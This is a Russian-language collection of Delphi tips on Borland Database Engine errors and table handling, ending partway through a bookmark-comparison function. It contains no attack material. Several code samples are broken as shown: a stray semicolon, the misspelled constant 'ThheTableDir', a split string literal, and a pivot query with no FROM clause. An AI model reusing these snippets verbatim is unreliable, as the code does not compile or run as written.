Во время создания таблицы dBASE с production-индексом (MDX) в заголовке DBF-файла устанавливается специальный байт. При последующем открытии таблицы, dBASE-драйвер читает этот специальный байт и, если он установлен, он также пытается открыть файл MDX. Если попытка открыть файл MDX заканчивается неудачей, возникает исключительная ситуация.

Для решения этой проблемы вам необходимо обнулить этот байт (28-й десятичный байт) в файле DBF, избавляющий таблицу от зависимости MDX-файла.

Нижеприведенным модуль является простым примером того, как можно обработать исключение при открытии таблицы, обнулив этот байт в DBF-файле и вновь открыв таблицу.

unit Fixit;

interface

uses

  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls, DB, DBTables, Grids, DBGrids;

type

  TForm1 = class(TForm)
    Table1: TTable;
    ;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

const

  TheTableDir = 'c:\temp\';
  TheTableName = 'animals.dbf';

procedure RemoveMDXByte(dbFile: string);
{ Данная процедура использует в качестве параметра имя файла DBF   }
{ и исправляет его заголовок для того, чтобы не требовать MDX-файл }
const

  Value: Byte = 0;
var

  F: file of byte;
begin

  AssignFile(F, dbFile);
  Reset(F);
  Seek(F, 28);
  Write(F, Value);
  CloseFile(F);
end;

procedure TForm1.Button1Click(Sender: TObject);
{ Данная процедура вызывается в ответ на нажатие кнопки. Она }
{ пытается открыть таблицу и, если файл .MDX не найден,      }
{ DBF-файл исправляется и управление вновь передается данной }
{ процедуре для повторного открытия таблицы, но уже без MDX  }
begin

  try
    { устанавливаем каталог таблицы }
    Table1.DatabaseName := ThheTableDir;
    { устанавливаем имя таблицы }
    Table1.TableName := TheTableName;
    { пытаемся открыть таблицу }
    Table1.Open;
  except
    on E: EDBEngineError do
      { Нижеследующее сообщение указывает на то, что файл MDX не найден: }
      if Pos('Index does not exist. File', E.Message) > 0 then
      begin
        { Сообщаем пользователю о наличии проблемы. }
        MessageDlg('Файл MDX не найден. Попытка открытия
          без индекса.', mtWarning, [mbOk], 0);
          { удаляем байт MDX из заголовка таблицы }
          RemoveMDXByte(TheTableDir + TheTableName);
          { Посылаем кнопке сообщение для эмуляции ее нажатия. }
          { Этот трюк заставит данную процедуру выполниться    }
          { повторно, и таблица будет открыта без файла MDX    }
          PostMessage(Button1.Handle, cn_Command, bn_Clicked, 0);
      end;
  end;
end;

end.

Взято с http://delphiworld.narod.ru


Memo too large

В BDE есть крутая ошибка, достаточно известная всем, кроме Borland'a. Поскольку они ее еще с 1й Delphi не исправили. Этот баг проявляется как Access Violation в программе при обращении к таблице IB, которая содержит более одного поля типа VARCHAR (или CHAR) размером > 255. Причем, первое поле меньшего, а второе большего размера. Если поменять местами поля или сделать их одного размера, то все нормально.

Эффект имеет место только с IB, вроде.

Взято с http://delphiworld.narod.ru


Multiple records found, but only one was expected

При выполнении некоторых живых запросов, возвращающих единственную запись, BDE ругается

Автор: Nomadic

При выполнении некоторых живых запросов, возвращающих единственную запись, BDE ругается 'multiple records found, but only one was expected'.
Запросы вида

SELECT c, b, a, q FROM T WHERE b = :b,

где ключ c, но BDE посчитала ключом a. Интересный запрос, да? Такое впечатление, что, поскольку ключом в исходной таблице являлась третья колонка, то Дельфы посчитали ключом третью колонку.
Перестановкой SELECT a, b, c, q... все исправилось. Я решил теперь использовать в таких (live) запросах только SELECT *.


Перехват ошибок DBEngine

Автор: Eryk

Ошибки общего характера, типа Key Violation или конфликты блокировки лучше всего обрабатывать в обработчике события Application.OnException ...например:

{Секция Interface}
procedure HandleException(Sender: TObject; E: Exception);
...

{Секция Implementation}
procedure TForm1.HandleException(Sender: TObject; E: Exception);
var
  err: DBIResult;
begin
  if E is EDBEngineError then
  begin
    err := (E as EDBEngineError).errors[(E as EDBEngineError).errorcount -
      1].errorcode;
    if (err = DBIERR_KEYVIOL) then
      showMessage('Ошибка Key violation!')
    else if (err = DBIERR_LOCKED) then
      showmessage('Запись блокирована другим пользователем')
    else if (err = DBIERR_FILELOCKED) then
      showmessage('Таблица блокирована кем-то еще')
    else
      showmessage('Другая ошибка DB')
  end
  else
    showmessage('Упс!: ' + E.Message);
end;

...'инсталлировать' обработчик исключений можно так:

procedure TForm1.FormCreate(Sender: TObject);
begin
  Application.onException:=HandleException;
end;

Для использования предопределенных констант ошибок ('DBIERR_etc.'), вам необходимо включить DBIERRS в список используемых модулей. Полный список кодов ошибок при работе с базами данных вы можете найти в файле DBIERRS.INT, расположенном в каталоге :\DELPHI\DOC.

Взято с http://delphiworld.narod.ru


Stream Read Error

В моем автономном приложении при чтении/записи из моей базы данных с помощью BDE проблем не возникает. Когда я выгружаю .EXE на наш сетевой том NetWare 3.11, я получаю случайные сообщения об ошибке "Stream Read Error" (ошибка чтения потока). В сети у меня имеется BDE, но пользователи имеют на своих жестких дисках собственные файлы IDAPI.CFG. Может мне кто-нибудь прояснит ситуацию?

В программе конфигурирования Database Engine Configuration, на закладке 'system', попробуйте изменить значение по умолчанию для MAXFILEHANDLES с 48 на 12. Не знаю почему, но это решило мои проблемы, у меня исчезли ошибки 'Stream read error' и различные GPF-ы.

Roger Huffman

Вопреки логики, как мне УМЕНЬШИТЬ количество дескрипторов файлов? Повышать мне их не удалось.

BDE берет дескриптор файла из доступного пула, поэтому, уменьшая его, вы эффективно теряете дескрипторы файла для его нормального открытия и закрытия. Также, уменьшая количество дескрипторов файла BDE, вы ничего этим не сделаете, поскольку BDE начинает их виртуализировать.

Roy Woll

Взято с http://delphiworld.narod.ru


Ошибка создания дескриптора курсора

Вы должны использовать ExecSql вместо Open. К примеру, если имя вашего запроса UpdateStudent, то при необходимости обновления STUDENT.DB вы должны использовать следующий код:

Begin
.....
UpdateStudent.ExecSql;
.....
End;

Ваш запрос является Passtrough-запросом, который не может возвратить установленный результат, так что это не может быть открыто, а должно быть 'ВЫПОЛНЕНО'.

Взято с http://delphiworld.narod.ru


Ошибка BDE32 2104

Автор: Pat Ritchey

Пример, приведенный для функции dbiGetDatabaseDesc в файле BDE32.HLP, неверен. Такой же пример содержится в файле TI3100.ASC. Я пробовал это на 3 разных компьютерах. Я использую среду Delphi. Ошибка, которую я получаю при попытке использования функции, выглядит следующим образом:

EDBEngineError с сообщением 'Возникла ошибка при попытке инициализации Borland Database Engine (ошибка $2104).'

При вызове любой из функций BDE, если вы не пользуетесь компонентами для работы с базами данных, вам необходимо инициализировать BDE вызовом dbiInit(nil).

Взято с http://delphiworld.narod.ru


Тpансляция ошибок

Делаем ApplyUpdates. Если пpи insert(update) пpоизошла ошибка (поле null, сpаботал check, etc.), то BDE всегда говоpит "General SQL Error" вместо ноpмального сообщения об ошибке :-( Без CU все ноpмально, pазумеется. Как боpоть этот баг?

Использyй ноpмальнyю тpансляцию ошибок в Application.OnException. Вpоде это.

procedure DBExceptionTranslate(E: EDBEngineError);

function OriginalMessage: string;
var
  I: Integer;
  DBErr: TDBError;
  S: string;
begin
  Result := '';
  for I := 0 to E.ErrorCount - 1 do
  begin
    DBErr := E.Errors[I];
    case DBErr.NativeError of
      -836: { Intebase exception }
        begin
          S := DBErr.Message;
          Result := #13#10 + Copy(S, Pos(#10, S) + 1, Length(S));
          Exit;
        end;
    end;
    S := Trim(DBErr.Message);
    if S <> '' then
      Result := Result + #13#10 + S;
  end;
end;

begin
  case E.Errors[0].ErrorCode of
    $2204:
      E.Message := LoadStr(SKeyDeleted);
    $271E, $2734:
      E.Message := LoadStr(SInvalidUserName);
    $2815:
      E.Message := LoadStr(SDeadlock);
    $2601:
      E.Message := LoadStr(SKeyViol);
    $2604:
      E.Message := LoadStr(SFKViolation) + OriginalMessage;
  else
    begin
      E.Message := Format(LoadStr(SErrorCodeFmt), [E.Errors[0].ErrorCode]) +
        OriginalMessage;
    end;
  end;
end;

Взято с http://delphiworld.narod.ru


ENoResultSet Error creating cursor handle

Почему не работает Query.Open(Query.ExecSQL)?
Что значит "ENoResultSet Error creating cursor handle"?

1.Query.Open возвращает результат запроса в виде курсора(Cursor).

Когда мы выполняем запрос «select * from table1» мы получаем
Набор данных (Cursor). Можете представит курсор как виртуальную таблицу, со строками и столбцами, определенными в запросе. В этом случае надо использовать Query.Open или Query.Active:=true;

2.Query.ExecSQL выполняет инструкции запроса и курсор не создается.

Если в запросах используются инструкции не создающие набор данных (курсор) – СREATE TABLE, INSERT, DELETE, UPDATE , SELECT INTO и т.д. то нужно вызывать метод ExecSQL.

Автор: BAS


Работа с таблицами

Cодержание раздела:

Очень медленный доступ к таблице при первом обращении
Как создать таблицу в памяти?
Создание кросс-таблицы
Физическое удаление записей в локальных таблицах (BDE)
Копирование таблицы с помощью DBE
Создание таблицы
Получение информации о таблице
Как сохранить содержимое таблицы в текстовый файл
Кросс-таблица через pivot-таблицу
Создание таблицы по образу и подобию
Local SQL и временная таблица
Как копировать и удалять таблицы?
Как сравнить bookmarks в таблице? New!
Как узнать версию таблицы New!

См. также статьи в других разделах:
Функция для быстрого копирования таблиц вместе со всеми дополнительными файлами
Как добавить копию текущей записи?
Как выбрать случайную запись?
Быстрый доступ к нужной записи в таблице Paradox
Как скопировать структуру таблицы?
Почему таблица или select показывается в Grid быстро, а перемещение в конец таблицы происходит долго?
Как результат Query сделать в виде постоянной таблицы?
Фильтр посредством логического поля
Функция вычисления суммы полей
Как пересчитать все вычисляемые поля (Calculated fields) без переоткрытия TDataSet
Поиск по нескольким полям
Поиск значения при вводе
Поиск записи в больших таблицах
FindKey для нескольких полей
Как паковать таблицу?
Как создать dBASE таблицу во время выполнения
Как скопировать таблицу из одной базы данных в другую?
Как получить список таблиц в базе Access?
Как удалить таблицу?
Самый быстрый способ узнать количество записей в таблице
Мне нужны временные таблицы, но их нет в IB. Что делать?
Как назначить пароль на таблицу?

См. также другие разделы:
Базы данных с нуля (статья)
Проблемы при работе с Blob полями


Очень медленный доступ к таблице при первом обращении

Данная проблема возникает из-за того, что BDE вначале запрашивает базу данных для получения информации о таблице, прежде чем он начнет с ней работать. Как только появляется информация о таблице, она кэшируется и обращение к таблице во время всего сеанса (пока TDatabase.Connection имеет значение True) происходит практически мгновенно. Для того, чтобы использовать кэшируемую информацию и при последующем запуске приложения, в конфигурации BDE найдите необходимый псевдоним и установите BDE CACHE = TRUE и BDE CACHE DIR = 'C:\temp' или любой другой удобный каталог.

ПРИМЕЧАНИЕ:При любом изменении структуры таблицы Вам придется удалять кэш вручную. Имя файла, в котором хранится кэш, Вы можете узнать, посмотрев в любом текстовом редакторе файл SCache.INI.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как создать таблицу в памяти?

{
  This is an InMemoryTable example. Free for anyone to use, modify and do
  whatever else you wish.

  Just like all things free it comes with no guarantees.
  I cannot be responsible for any damage this code may cause.
  Let me repeat this:

   WARNING! THIS CODE IS PROVIDED AS IS WITH NO GUARANTEES OF ANY KIND!
   USE THIS AT YOUR OWN RISK - YOU ARE THE ONLY PERSON RESPONSIBLE FOR
   ANY DAMAGE THIS CODE MAY CAUSE - YOU HAVE BEEN WARNED!

  THANKS to Steve Garland <72700.2407@compuserve.com> for his help.
  He created his own variation of an in-memory table component and
  I used it to get started.

  InMemory tables are a feature of the Borland Database Engine (BDE).
  InMemory tables are created in RAM and deleted when you close them.
  They are much faster and are very useful when you need fast operations on
  small tables. This example uses the DbiCreateInMemoryTable DBE function call.

  This object should work just like a regular table, except InMemory
  tables do not support certain features (like referntial integrity,
  secondary indexes and BLOBs) and currently this code doesn't do anything to
  prevent you from trying to use them. You will probably get some error if
  you try to create a memo field.
}

unit Inmem;

interface

uses DBTables, WinTypes, WinProcs, DBITypes, DBIProcs, DB, SysUtils;

type
  TInMemoryTable = class(TTable)
  private
    hCursor: hDBICur;
    procedure EncodeFieldDesc(var FieldDesc: FLDDesc;
      const Name: string; DataType: TFieldType; Size: Word);
    function CreateHandle: HDBICur; override;
  public
    procedure CreateTable;
  end;

implementation

{
  Luckely this function is virtual - so I could override it. In the
  original VCL code for TTable this function actually opens the table -
  but since we already have the handle to the table - we just return it
}

function TInMemoryTable.CreateHandle;
begin
  Result := hCursor;
end;

{
  This function is cut-and-pasted from the VCL source code. I had to do
  this because it is declared private in the TTable component so I had no
  access to it from here.
}

procedure TInMemoryTable.EncodeFieldDesc(var FieldDesc: FLDDesc;
  const Name: string; DataType: TFieldType; Size: Word);
const
  TypeMap: array[TFieldType] of Byte = (fldUNKNOWN, fldZSTRING, fldINT16,
    fldINT32, fldUINT16, fldBOOL,
    fldFLOAT, fldFLOAT, fldBCD, fldDATE, fldTIME, fldTIMESTAMP, fldBYTES,
    fldVARBYTES, fldBLOB, fldBLOB, fldBLOB);
begin
  with FieldDesc do
  begin
    AnsiToNative(Locale, Name, szName, SizeOf(szName) - 1);
    iFldType := TypeMap[DataType];
    case DataType of
      ftString, ftBytes, ftVarBytes, ftBlob, ftMemo, ftGraphic:
        iUnits1 := Size;
      ftBCD:
        begin
          iUnits1 := 32;
          iUnits2 := Size;
        end;
    end;
    case DataType of
      ftCurrency:
        iSubType := fldstMONEY;
      ftBlob:
        iSubType := fldstBINARY;
      ftMemo:
        iSubType := fldstMEMO;
      ftGraphic:
        iSubType := fldstGRAPHIC;
    end;
  end;
end;

{
  This is where all the fun happens. I copied this function from the VCL
  source and then changed it to use DbiCreateInMemoryTable instead of
  DbiCreateTable.

  Since InMemory tables do not support Indexes - I took all of the
  index-related things out
}

procedure TInMemoryTable.CreateTable;
var
  I: Integer;
  pFieldDesc: pFLDDesc;
  szTblName: DBITBLNAME;
  iFields: Word;
  Dogs: pfldDesc;
begin
  CheckInactive;
  if FieldDefs.Count = 0 then
    for I := 0 to FieldCount - 1 do
      with Fields[I] do
        if not Calculated then
          FieldDefs.Add(FieldName, DataType, Size, Required);
  pFieldDesc := nil;
  SetDBFlag(dbfTable, True);
  try
    AnsiToNative(Locale, TableName, szTblName, SizeOf(szTblName) - 1);
    iFields := FieldDefs.Count;
    pFieldDesc := AllocMem(iFields * SizeOf(FLDDesc));
    for I := 0 to FieldDefs.Count - 1 do
      with FieldDefs[I] do
      begin
        EncodeFieldDesc(PFieldDescList(pFieldDesc)^[I], Name,
          DataType, Size);
      end;
    { the driver type is nil = logical fields }
    Check(DbiTranslateRecordStructure(nil, iFields, pFieldDesc,
      nil, nil, pFieldDesc));
    { here we go - this is where hCursor gets its value }
    Check(DbiCreateInMemTable(DBHandle, szTblName, iFields, pFieldDesc, hCursor));
  finally
    if pFieldDesc <> nil then FreeMem(pFieldDesc, iFields * SizeOf(FLDDesc));
    SetDBFlag(dbfTable, False);
  end;
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Создание кросс-таблицы

Вы можете создать их в DBD как QBE-шки. Пользуясь компонентом TQBE для загрузки одной из библиотек, вы можете непосредственно использовать QBE-шки в вашем Delphi-приложении.

В следующем примере предполагается, что каждый служащий каждый день сообщает оператору о своем месторасположении. Код определяет начало трудовой недели с понедельника плюс еще четыре рабочих дня с показом соответствующей даты. Строки с 1 по 5 в QBE1.QBE (нулевая описательная) в нижеприведенной процедуре заменяются кодом. Результат всего этого в том, что строка (если имеется) для каждого человека отображается в колонке установленного результата и значение 'X' включается если только запись существует. Для создания агрегатной таблицы можно было бы подсчитывать результаты.

Текст в QBE1.QBE :

CALLIN.DB | StaffNo   | Date    |
          | _join1    | 3/10/95 |
          | _join2    | 3/11/95 |
          | _join3    | 3/12/95 |
          | _join4    | 3/13/95 |
          | _join5    | 3/14/95 |

XTAB.DB   | StaffNo   |Mon       |Tue       |Wed       |Thu       |Fri       |
          | _join1    |changeto X|          |          |          |          |
          | _join2    |          |changeto X|          |          |          |
          | _join3    |          |          |changeto X|          |          |
          | _join4    |          |          |          |changeto X|          |
          | _join5    |          |          |          |          |changeto X|

procedure TCallInReport.ButtonSelectClick(Sender: TObject);
begin
  TableXTab.active := false;
  if EditWeekOf.Text = '' then
  begin
    messageBeep(0);
    messageDlg('Для выбора записи необходима дата.', mtInformation, [mbOK], 0);
    exit;
  end;

  Screen.Cursor := crHourGlass;

  dtWeekOf := StrToDate(EditWeekOf.Text);
  dtStartDate := dtWeekOf - DayOfWeek(dtWeekOf) + 2;

  TableXTab.active := false;
  TableXTab.EmptyTable;
  TableXTab.active := true;

  {
  Замените строки 1 - 5 в QBE1.QBE реальными датами
  }
  QBE1.QBE.Strings[1] := '  | _join1  | ' + DateToStr(dtStartDate) + ' | ';
  QBE1.QBE.Strings[2] := '  | _join2  | ' + DateToStr(dtStartDate + 1) + ' | ';
  QBE1.QBE.Strings[3] := '  | _join3  | ' + DateToStr(dtStartDate + 2) + ' | ';
  QBE1.QBE.Strings[4] := '  | _join4  | ' + DateToStr(dtStartDate + 3) + ' | ';
  QBE1.QBE.Strings[5] := '  | _join5  | ' + DateToStr(dtStartDate + 4) + ' | ';

  try
    QBE1.active := true;
  except
    on E: EDataBaseError do
    begin
      if E.Message = 'Ошибка создания дескриптора курсора' then
        { Ничего не делайте. Делая TQBE активной, мы пытаемся создать курсор.
          Это вызывает исключительную ситуацию, которую мы должны перехватить.
          Пока я не нашел способа как отделаться от исключения. }
      else
      begin
        Screen.Cursor := crDefault;
        raise;
      end;
    end;
  else
    Screen.Cursor := crDefault;
    raise;
  end;
  TableXTab.refresh;
  Screen.Cursor := crDefault;
  TableXTab.active := true;
end;

Взято с http://delphiworld.narod.ru


Физическое удаление записей в локальных таблицах (BDE)

При удалении записей из таблицы dBase с помощью компонента TTable они просто приобретают признак удаления, и я никак не могу добиться их физического удаления. Как быть?

Ваша проблема решается просто - для физического удаления записей нужно использовать функцию DbiPackTable (ее описание есть в справочном файле BDE).

Наталия Елманова
Взято из http://forum.sources.ru

Примечание Vit: точно так же удаляются записи и у таблиц других локальных баз данных

В BDE есть функция DbiPackTable.

Упаковать таблицу DBF можно открыв ее компонентом TTable и вызвав функцию BDE DbiPackTable. Для этого нужно добавить к модулю, где вызывается функция, имена DBITypes, DBIProcs, DBIErrs в оператор uses.
Затем вызвать в нужном месте функцию:

Result := DbiPackTable(Table1.DbHandle, Table1.Handle, nil, szDBase, True);
Copyright © 1996 Epsylon Technologies
Взято из FAQ Epsylon Technologies (095)-913-5608; (095)-913-2934; (095)-535-5349


Копирование таблицы с помощью DBE

function CopyTable(tbl: TTable; dest: string): boolean;
var
  psrc, pdest: array[0..DBIMAXTBLNAMELEN] of char;
  rslt: DBIResult;
begin
  Result := False;
  StrPCopy(pdest, dest);
  with tbl do
  begin
    try
      DisableControls;
      StrPCopy(psrc, TableName);
      rslt := DbiCopyTable(DBHandle, True, psrc, nil, pdest);
      Result := (rslt = 0);
    finally
      Refresh;
      EnableControls;
    end;
  end;
end;

Взято с http://delphiworld.narod.ru


Создание таблицы

uses DB, DBTables, StdCtrls;

procedure TForm1.Button1Click(Sender: TObject);
var
  tSource, TDest: TTable;
begin
  TSource := TTable.create(self);
  with TSource do
  begin
    DatabaseName := 'dbdemos';
    TableName := 'customer.db';
    open;
  end;
  TDest := TTable.create(self);
  with TDest do
  begin
    DatabaseName := 'dbdemos';
    TableName := 'MyNewTbl.db';
    FieldDefs.Assign(TSource.FieldDefs);
    IndexDefs.Assign(TSource.IndexDefs);
    CreateTable;
  end;
  TSource.close;
end;

// Создание DBF-файла во время работы приложения

...
const
  CreateTab = 'CREATE TABLE ';
  IDXTab = 'PRIMARY KEY ';
  MyTabStruct =
    'IDX_TAB DECIMAL(6,0), ' +
    'DATE_ DATE, ' +
    'FLD_1 CHARACTER(20), ' +
    'FLD_2 DECIMAL(7,2), ' +
    'FLD_3 BOOLEAN, ' +
    'FLD_4 BLOB(1,1), ' +
    'FLD_5 BLOB(1,2), ' +
    'FLD_6 BLOB(1,3), ' +
    'FLD_7 BLOB(1,4), ' +
    'FLD_8 BLOB(1,5) ';
  ...

  // создание таблицы без индекса

procedure TForm1.Button1Click(Sender: TObject);
begin
  if CreateTable('"MYTAB.DBF"', MyTabStruct, '') then
    ...
      // выполняем дальнейшие операции
  else
    ...
end;

// создание таблицы с индексом

procedure TForm1.Button2Click(Sender: TObject);
begin
  if CreateTable('"MYTAB.DBF"', MyTabStruct, IDXTab + ' (IDX_TAB)') then
    ...
      // выполняем дальнейшие операции
  else
    ...
end;

function TForm1.CreateTable(TabName, TabStruct, TabIDX: string): boolean;
var
  qyTable: TQuery;
begin
  result := true;
  qyTable := TQuery.Create(Self);
  with qyTable do
  try
    try
      SQL.Clear;
      SQL.Add(CreateTab + TabName + '(' + TabStruct + TabIDX + ')');
      Prepare;
      // ExecSQL, а не Open. Иначе ... облом
      ExecSQL;
    except
      // Обработка ошибок открытия таблицы Возможности обработчика можно расширить.
      Exception.Create('Ошибка открытия таблицы');
      result := false;
    end;
  finally
    Close;
  end;
end;

sql := 'CREATE TABLE "employee.db" ( '+
       'Last_Name CHAR(20),'+
       'First_Name CHAR(15),'+
       'Salary NUMERIC(10,2),'+
       'Dept_No SMALLINT,'+
       'PRIMARY KEY (Last_Name, First_Name))';
Query1.sql.text:=sql;
Query1.ExecSQL;

Примечание Vit: этот способ наиболее предпочтительный, так как наиболее стандартный. Кроме того он будет работать практически неизменно на любых базах данных при использовании любого способа доступа, а не только BDE.

Взято с http://delphiworld.narod.ru


Получение информации о таблице

Вам нужно воспользоваться свойством FieldDefs. В следующем примере список полей и их соответствующий размер передается компоненту TMemo (расположенному на форме) с именем Memo1:

procedure TForm1.ShowFields;
var
  i: Word;
begin
  Memo1.Lines.Clear;
  Table1.FieldDefs.Update;
  { должно быть вызвано, если Table1 не активна }
  for i := 0 to Table1.FieldDefs.Count - 1 do
    With Table1.FieldDefs.Items[i] do
      Memo1.Lines.Add(Name + ' - ' + IntToStr(Size));
end;

Если вам просто нужны имена полей (FieldNames), то используйте метода TTable GetFieldNames:
GetIndexNames для получения имен индексов:

var
  FldNames, IdxNames : TStringList;
begin
  FldNames := TStringList.Create;
  IdxNames := TStringList.Create;
  If Table1.State = dsInactive then
    Table1.Open;
  Table1.GetFieldNames(FldNames);
  Table1.GetIndexNames(IdxNames);
  {...... используем полученную информацию ......}
  FldNames.Free; {освобождаем stringlist}
  IdxNames.Free;
end;

Для получения информации об определенном поле вы должны использовать FieldDef.

Взято с http://delphiworld.narod.ru


Как сохранить содержимое таблицы в текстовый файл?

Эти небольшие функции анализирую таблицу и записывают её содержимое в TStringList. А затем просто сохраняют в файл.

procedure DatasetRecordToInfFile(aDataset: TDataSet; aStrList: TStrings);
var
  i: integer;
begin
  for i := 0 to (aDataset.FieldCount-1) do
    aStrList.Add(aDataset.Fields[i].FieldName + '=' +
    aDataset.Fields[i].AsString);
end;

procedure DatasetToInfFile(aDataset: TDataSet; aStrList: TStrings);
begin
  aDataSet.First;
  while not aDataSet.EOF do
  begin
    DatasetRecordToInfFile(aDataset,aStrList);
    aDataSet.Next;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  DatasetRecordToInfFile(Table1,Memo1.Lines);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  DatasetToInfFile(Table1,Memo1.Lines);
end;

Взято с http://delphiworld.narod.ru


Кросс-таблица через pivot-таблицу

Мне нужна помощь по реализации запроса кросс-таблицы в Delphi. У кого-нибудь имеется соответствующий опыт?

Использовать pivot-таблицу должен все тот-же общий механизм (относительно к любой базе данных SQL).

Предположим, что у нас есть данные продаж в таблице с полями Store, Product, Month, Sales, и вам необходимо отображать данные по продуктам за каждый месяц. (Примем, что поле 'month' для простоты имеет значения 1..12.)

Оригинальные данные примера:

  Store         Product    Month   Sales
    #1            Toys       1      100
    #2            Toys       1       68
    #1            Toys       2      150
    #1            Books      1       75
...
Желаемый отчет должен выглядеть похожим на этот:

      Product         January      February    March  .....
       Toys             168          150
       Books             75         .....

Установите pivot-таблицу с именем tblPivot и 12 строками:

   pvtMonth   pvtJan  pvtFeb   pvtMar  pvtApr   ....
       1        1       0        0       0      ....
       2        0       1        0       0
       3        0       0        1       0
       4        0       0        0       1
.....
Теперь запрос, выполненный в виде:

  select Product, January=sum(Sales*pvtJan),
                           February=sum(Sales*pvtFeb),
                          March=sum(Sales*pvtMar),
                          April=sum(Sales*pvtApr),...
  where Month = pvtMonth
  group by Product

даст вам информацию, опубликованную выше.
Поскольку pivot-таблица имеет только 12 строк, большинство SQL-движков сохранят результат в кэшовой памяти, так что скорость выполнения запроса весьма велика.

Взято с http://delphiworld.narod.ru


Создание таблицы по образу и подобию

Создайте во время выполнения программы пустую таблицу, скопируйте структуру существующей, включая первичный индекс. На практике это выглядит примерно так:

var
  Table2  : TTable;
begin
  Table1.FieldDefs.Update;
  Table1.IndexDefs.Update;
  Table2 := TTable.Create(nil);
  Table2.DatabaseName := Table1.DatabaseName;
  Table2.TableName := 'MyTable';
  Table2.TableType := Table1.TableType;
  Table2.FieldDefs.Assign(Table1.FieldDefs);
  Table2.IndexDefs.Assign(Table1.IndexDefs);
  Table2.CreateTable ;
end;

На ум сразу приходит операция присваивания значения свойству (стоящему с левой стороны от ':='), при которой Delphi в своих недрах вызывает метод 'write' и передает ему в виде единственного параметра все то, что находится в правой части выражения. Если свойство не имеет метода write, оно предназначено только для чтения. Вот определение свойства FieldDefs объекта TDataSet в файле DB.PAS:

property FieldDefs: TFieldDefs read FFieldDefs write SetFieldDefs;

Как вы можете видеть, у него есть метод write. Следовательно, код:

Destination.FieldDefs := Source.FieldDefs;

в действительности делает такую операцию:

Destination.SetFieldDefs(Source.FieldDefs);

(за исключением того, что вы не можете использовать эту строку, поскольку SetFieldDefs определен в секции Private.)

Вот определение свойства IndexDefs объекта TTable в файле DBTABLES.PAS file:

property IndexDefs: TIndexDefs read FIndexDefs;

В этом случае метод write отсутствует, поэтому свойство имеет атрибут только для чтения. Тем не менее, для самого объекта TIndexDefs существует метод Assign. Следовательно, следующий код должен работать:

Source.IndexDefs.Update;
Destination.IndexDefs.Assign(Source.IndexDefs);

Перед вызовом Assign для Source.IndexDefs вызывайте метод Update, чтобы быть уверенным в том, что вы получите то, что хотите.

Метод SetFieldDefs является процедурой с одной строкой кода, в которой вызывается метод FieldDefs Assign.

Также можно проверить, определен ли реально индекс, и, если нет, то при вызове IndexDefs.Assign вы можете получить исключение типа "List Index Out Of Bounds" (или что-то типа этого). Например, так:

if Source.IndexDefs.Count > 0 then...

Вам нужно будет это сделать, поскольку метод TIndexDefs.Assign не проверяет это перед копированием индекс-информации. Также вам нет необходимости вызывать Clear до работы с IndexDefs, поскольку метод Assign сделает это и без вашего участия.

Взято с http://delphiworld.narod.ru


Local SQL и временная таблица

Local SQL не поддерживает вложенные запросы, но после того как я заработал клок седых волос, я нашел в высшей степени простое решение: использование временной таблицы.

Пример:

with GeneralQuery do
begin
  SQL.Clear;
  SQL.Add(.... внутренний SQL);
  SQL.Open;
  DbiMakePermanent(handle, 'temp.db',true);
  SQL.Clear;
  SQL.Add(SELECT  ... FROM 'temp.db'....);
  SQL.Open;
end;

Единственное: необходимо убедиться в том, что имя таблицы не вступает в конфликт с именами нескольких работающих копий таблицы. И, разумеется, данная технология не даст "живой" набор!

Взято с http://delphiworld.narod.ru


Как копировать и удалять таблицы?

Here is an example of a routine that I use for copying and deleting tables. It uses DB, DBTables, DbiProcs,DbiErrs, and DbiTypes.

You simply provide the directory to copy from, the source table name, the directory to copy to, and the destination table name, and the BDE will copy the entire table, indexes and all to the new file.

The delete function takes the path to delete from and the name of the table to delete, the BDE takes care of deleting all associated files (indexes, etc.).

These procedures have been pulled off a form of mine, and I've edited them to remove some dependencies that existed with that form. They should now be completely stand-alone.

procedure TConvertForm.CopyTable(FromDir, SrcTblName, ToDir, DestTblName: string);
var
  DBHandle: HDBIDB;
  ResultCode: DBIResult;
  Src, Dest, Err: array[0..255] of Char;
  SrcTbl, DestTbl: TTable;
begin
  SrcTbl := TTable.Create(Application);
  DestTbl := TTable.Create(Application);
  try
    SrcTbl.DatabaseName := FromDir;
    SrcTbl.TableName := SrcTblName;
    SrcTbl.Open;
    DBHandle := SrcTbl.DBHandle;
    SrcTbl.Close;
    ResultCode := DbiCopyTable(DBHandle, false,
      StrPCopy(Src, FromDir + '\' + SrcTblName), nil,
      StrPCopy(Dest, ToDir + '\' + DestTblName));
    if ResultCode <> DBIERR_NONE then
    begin
      DbiGetErrorString(ResultCode, Err);
      raise EDatabaseError.Create('While copying ' +
        FromDir + '\' + SrcTblName + ' to ' +
        ToDir + '\' + DestTblName + ', the '
        + ' database engine   generated the error '''
        + StrPas(Err) + '''');
    end;
  finally
    SrcTbl.Free;
    DestTbl.Free;
  end;
end;

procedure TConvertForm.DeleteTable(Dir, TblName: string);
var
  DBHandle: HDBIDB;
  ResultCode: DBIResult;
  tbl, Err: array[0..255] of Char;
  SrcTbl, DestTbl: TTable;
begin
  SrcTbl := TTable.Create(Application);
  try
    SrcTbl.DatabaseName := Dir;
    SrcTbl.TableName := TblName;
    SrcTbl.Open;
    DBHandle := SrcTbl.DBHandle;
    SrcTbl.Close;
    ResultCode := DbiDeleteTable(DBHandle,
      StrPCopy(Tbl, Dir + '\' + TblName), nil);
    if ResultCode <> DBIERR_NONE then
    begin
      DbiGetErrorString(ResultCode, Err);
      raise EDatabaseError.Create('While deleting ' +
        Dir + '\' + TblName + ', the database ' +
        'engine generated the error ''' + StrPas(Err) + '''');
    end;
  finally
    SrcTbl.Free;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как сравнить bookmarks в таблице?

function TBDEDirect.CompareBookmarks(Bookmark1,
  Bookmark2: TBookmark): Boolean;

var
  Res: DBIResult;
  CompareRes: Word;

begin
  Result := False;
  if CheckDatabase then
    begin
      Res := DbiCompareBookmarks(FDataLink.DataSource.DataSet.Handle,
        Bookmark1, Bookmark2, CompareRes);
      if Res = 0 then
        if CompareRes = 0 then
          Result := True
        else
